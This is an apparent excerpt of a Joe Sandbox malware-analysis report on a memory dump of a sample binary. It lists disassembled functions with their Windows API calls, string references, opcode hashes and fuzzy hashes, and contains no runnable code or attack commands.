NAME, xrefs: 00007FF6B5B8FAA9, 00007FF6B5B8FABA
INSTANCE, xrefs: 00007FF6B5B8FCC3, 00007FF6B5B8FCD4
TEXT, xrefs: 00007FF6B5B8FD2F, 00007FF6B5B8FD40

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction ID: f8773673536c54fcf8cda25e4942005d9aa01a6f6a2b2b22468bcfb8522567ea
Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction Fuzzy Hash: 5512B562B1968392FE688B2DC8312F96291BF56F84F845531DB1DC629BEF3CED45C201

Function 00007FF6B5BB767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6B5BB77E3
VariantInit.OLEAUT32 ref: 00007FF6B5BB7920
VariantClear.OLEAUT32 ref: 00007FF6B5BB792A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00007FF6B5BB78FC
_NewEnum, xrefs: 00007FF6B5BB76AB
Null Object assignment in FOR..IN loop, xrefs: 00007FF6B5BB799D
get__NewEnum, xrefs: 00007FF6B5BB76D1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
Instruction ID: 08d0eec27716f8d8e1d87dd6e3267e4348a437d0448068380e0c4ca0154ab39c
Opcode Fuzzy Hash: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
Instruction Fuzzy Hash: 92A19E36A08B4196EB20DF6AD4905ED67A0FB89F98F440132DB8D8379ADFBCD845C740

Function 00007FF6B5BCA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BCA461
SendMessageW.USER32 ref: 00007FF6B5BCA47A
SetWindowPos.USER32 ref: 00007FF6B5BCA4A7
wcscat.LIBCMT ref: 00007FF6B5BCA509
SendMessageW.USER32 ref: 00007FF6B5BCA51D
SendMessageW.USER32 ref: 00007FF6B5BCA54E

Strings

-----, xrefs: 00007FF6B5BCA4FB
SysListView32, xrefs: 00007FF6B5BCA3B0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: d7db5a0b8232a755dfe2c773d16dae64dcebc681bbcfd49314bc664f679d4fea
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: 3C51B236A047918AE720CF69D8546D933A1FB89B84F40413ADF4D87B9ACF38D994CB40

Function 00007FF6B5B8E2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF6B5B8E2DF
GetClassNameW.USER32 ref: 00007FF6B5B8E2F6

Part of subcall function 00007FF6B5B48E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B48E4F

SendMessageW.USER32 ref: 00007FF6B5B8E386

Strings

smallicons, xrefs: 00007FF6B5B8E34A
list, xrefs: 00007FF6B5B8E365
details, xrefs: 00007FF6B5B8E32F
SHELLDLL_DefView, xrefs: 00007FF6B5B8E2FC
largeicons, xrefs: 00007FF6B5B8E314

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction ID: 2951fa09eb3a120dea0a8c87bbfda663af992b1277fab5243534a46e10116075
Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction Fuzzy Hash: A0214F21B1C603D0FA609719E9656F92360AF8BFC4F409035DB0DC769BEE2CED568701

Function 00007FF6B5BCC324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BCC40A
ShowWindow.USER32(00000000,?,?,00007FF6B5B6DF87), ref: 00007FF6B5BCC449
ShowWindow.USER32 ref: 00007FF6B5BCC457
SetFocus.USER32 ref: 00007FF6B5BCC460

Part of subcall function 00007FF6B5BCE7D4: DeleteObject.GDI32 ref: 00007FF6B5BCE82A

GetWindowLongW.USER32 ref: 00007FF6B5BCC4A8
SetWindowLongPtrW.USER32 ref: 00007FF6B5BCC4BD
InvalidateRect.USER32(00000000,?,?,00007FF6B5B6DF87), ref: 00007FF6B5BCC4F7
SendMessageW.USER32 ref: 00007FF6B5BCC536
SendMessageW.USER32 ref: 00007FF6B5BCC54A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: 0e46e66b2ced905aa123abc4055f76c947ef04bcb60dfbd361db7c86daa7319f
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: EE618D25A1854386FB349B2998657FA2661AF92FA4F108131DB2DC3ADFCF7DEC419304

Function 00007FF6B5B8D780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6B5B8D7A2
HeapAlloc.KERNEL32 ref: 00007FF6B5B8D7B4
GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7BD
GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7C6
DuplicateHandle.KERNEL32 ref: 00007FF6B5B8D7EA
GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7F0
GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7F9
DuplicateHandle.KERNEL32 ref: 00007FF6B5B8D81E
CreateThread.KERNEL32 ref: 00007FF6B5B8D844

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 5160a177ce0c939e2b9c11b2abe03f388adbdfe9cf299e5bc0b03aab620bba6f
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 11213972959B8182E710CF56E4587AAB7A0F78AFDAF044125DB8D03BA9CF7DD5488B00

Function 00007FF6B5BBE580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B9BE00: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6B5B9BE3B
Part of subcall function 00007FF6B5B9BE00: Process32FirstW.KERNEL32 ref: 00007FF6B5B9BE4B
Part of subcall function 00007FF6B5B9BE00: CloseHandle.KERNEL32 ref: 00007FF6B5B9BF55

OpenProcess.KERNEL32 ref: 00007FF6B5BBE610
GetLastError.KERNEL32 ref: 00007FF6B5BBE622
OpenProcess.KERNEL32 ref: 00007FF6B5BBE65B
TerminateProcess.KERNEL32 ref: 00007FF6B5BBE702
GetLastError.KERNEL32 ref: 00007FF6B5BBE70C
CloseHandle.KERNEL32 ref: 00007FF6B5BBE75A

Strings

SeDebugPrivilege, xrefs: 00007FF6B5BBE633

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction ID: 632d26610ad4eaeb308c8aaa9635b05627a131be5e4d7b7672e1c36cdc22e92d
Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction Fuzzy Hash: 05516262A0864286EB14EB2DD4A03FC6B60FF86F95F058431D70E876ABDF7DE9458710

Function 00007FF6B5B9A070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6B5B9A12F
IsMenu.USER32 ref: 00007FF6B5B9A151
CreatePopupMenu.USER32 ref: 00007FF6B5B9A183
GetMenuItemCount.USER32 ref: 00007FF6B5B9A1DD
InsertMenuItemW.USER32 ref: 00007FF6B5B9A209

Strings

2, xrefs: 00007FF6B5B9A167
P, xrefs: 00007FF6B5B9A0D0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: bb8216f95ac8f070d10ac2e08a5de6ab2b9f183cba6f018232842d4d54d67554
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: 5B51C132A0869289F7248F69E4602FD77A1BB63F58F644135CB5D936DBCF38E8818700

Function 00007FF6B5BCE248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BCE32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6B5BABDFB), ref: 00007FF6B5BCE346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6B5BABDFB), ref: 00007FF6B5BCE360
SendMessageW.USER32 ref: 00007FF6B5BCE38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6B5BABDFB), ref: 00007FF6B5BCE3B1
SetWindowPos.USER32 ref: 00007FF6B5BCE3F7

Strings

', xrefs: 00007FF6B5BCE3E2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: a3aed234ad3ef2e28c20c0e38c023595e305686cdc28ae3acab964bbda53182b
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 0C51E53290865281E3669B6D9464AFD2761EBCAF90F544131CF5E8379ACF3CFC528304

Function 00007FF6B5B9C5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6B5B9C5DC
LoadStringW.USER32 ref: 00007FF6B5B9C5F2
GetModuleHandleW.KERNEL32 ref: 00007FF6B5B9C5FA
LoadStringW.USER32 ref: 00007FF6B5B9C616
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5B9C649
MessageBoxW.USER32 ref: 00007FF6B5B9C665

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF6B5B9C642

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction ID: 1310ba515496feff42423db3808f6ccbf96643a49a1e11754691b63411771363
Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction Fuzzy Hash: 00115271718B8591E7308B14F454BEA2360FB9AB45F845036DB4E8369EDE7CC945C740

Function 00007FF6B5BD233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

GetSystemMetrics.USER32 ref: 00007FF6B5BD23A5
GetSystemMetrics.USER32 ref: 00007FF6B5BD23C4
MoveWindow.USER32 ref: 00007FF6B5BD25F9
SendMessageW.USER32 ref: 00007FF6B5BD261A
SendMessageW.USER32 ref: 00007FF6B5BD263E
ShowWindow.USER32 ref: 00007FF6B5BD265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF6B5B6AA58), ref: 00007FF6B5BD268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF6B5B6AA58), ref: 00007FF6B5BD26B3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: 24d5b2d778c4e83528760b207247739f9b75c51a7e9f83f27fefb94cd39976fc
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: 6AA1043675869292EB688F299164BB9B7A1FB45F84F105035DF0A83ADACF3DEC518700

Function 00007FF6B5BBFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BC1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6B5BBFD7B), ref: 00007FF6B5BC1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5BBFDAE
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5BBFE30
RegDeleteValueW.ADVAPI32 ref: 00007FF6B5BBFEC7
RegCloseKey.ADVAPI32 ref: 00007FF6B5BBFF34
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC0041

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
String ID:
API String ID: 50796853-0
Opcode ID: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction ID: 52a225c81c5580b9cfae91ebdf273653db63be148cad4fdb48bcc4b1108f247b
Opcode Fuzzy Hash: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction Fuzzy Hash: 9DB13D72A08A8286EB10EB69D4A13FC2760EB86B84F014531DB4D97A9BCF7DD905C754

Function 00007FF6B5B4443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6B5B444CD
ShowWindow.USER32 ref: 00007FF6B5B8A753
ShowWindow.USER32 ref: 00007FF6B5B8A7ED

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 94ff765b71ac00042482955e02bd87e0f6148ae261dccf7e82bf1df55ef22844
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 8F516225E0C58289FB79AB2D94783F926929F83F44F284175C70E866DFDE6CAC94D201

Function 00007FF6B5B22100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: d5041923aa3a4e886942805a2d3bf240a8d96677d5fa48291f55070db8b01a1a
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: DCA1A072A186C087D7648F1AA410AAEFB75FB86B94F504125DB8953B6DCF3DD842CF00

Function 00007FF6B5BCFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6B5BCFBED
IsWindowEnabled.USER32 ref: 00007FF6B5BCFBFA
SendMessageW.USER32 ref: 00007FF6B5BCFD22
SendMessageW.USER32 ref: 00007FF6B5BCFE2A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: e439fef67e420ddb4be001846e5a1b6eaa14b2daf0900aea3d08fb56fdb3b3e8
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: D8918E21E1968646FBB49B1994657F963A2AF86F84F144072CB4D836DBCF3CEC918308

Function 00007FF6B5B98E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF6B5B98E69
GetKeyboardState.USER32 ref: 00007FF6B5B98E7D
SetKeyboardState.USER32 ref: 00007FF6B5B98ECC
PostMessageW.USER32 ref: 00007FF6B5B98EF9
